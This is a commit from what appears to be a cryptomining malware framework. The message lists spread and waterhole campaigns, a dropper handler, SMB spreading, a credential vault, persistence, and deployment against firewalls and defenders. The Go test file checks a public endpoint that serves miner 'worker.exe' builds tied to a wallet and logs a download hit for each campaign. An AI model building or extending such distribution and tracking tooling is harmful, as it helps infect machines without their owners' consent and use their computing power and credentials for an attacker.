feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

server/internal/api/public_handler_test.go

@@ -0,0 +1,90 @@
+package api
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+
+	"github.com/go-chi/chi/v5"
+)
+
+func TestPublicHandlerListAndDownload(t *testing.T) {
+	dataDir := t.TempDir()
+	database, err := db.New(dataDir)
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	buildID := "pub-build-1"
+	buildDir := filepath.Join(dataDir, "builds", buildID)
+	if err := os.MkdirAll(buildDir, 0755); err != nil {
+		t.Fatal(err)
+	}
+	artifact := filepath.Join(buildDir, "worker.exe")
+	if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
+		t.Fatal(err)
+	}
+
+	rec := &models.BuildRecord{
+		ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
+		Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
+		Platform: "windows", CreatedAt: time.Now(), Pinned: true,
+	}
+	if err := database.InsertBuild(rec); err != nil {
+		t.Fatal(err)
+	}
+	if err := database.SetPinnedBuild(buildID); err != nil {
+		t.Fatal(err)
+	}
+
+	h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
+		return PublicBuildsConfig{Enabled: false, LatestN: 3}
+	})
+
+	listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
+	listRec := httptest.NewRecorder()
+	h.ListBuilds(listRec, listReq)
+	if listRec.Code != http.StatusOK {
+		t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
+	}
+	var listBody struct {
+		Builds []publicBuildDTO `json:"builds"`
+	}
+	if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
+		t.Fatal(err)
+	}
+	if len(listBody.Builds) == 0 {
+		t.Fatal("expected pinned build in public list")
+	}
+
+	r := chi.NewRouter()
+	r.Get("/public/download/{id}", h.Download)
+	dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
+	dlRec := httptest.NewRecorder()
+	r.ServeHTTP(dlRec, dlReq)
+	if dlRec.Code != http.StatusOK {
+		t.Fatalf("download status %d", dlRec.Code)
+	}
+
+	hits, err := database.ListCampaignHits(10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	found := false
+	for _, hit := range hits {
+		if hit.Campaign == "test-camp" {
+			found = true
+		}
+	}
+	if !found {
+		t.Fatal("expected campaign hit logged for public download")
+	}
+}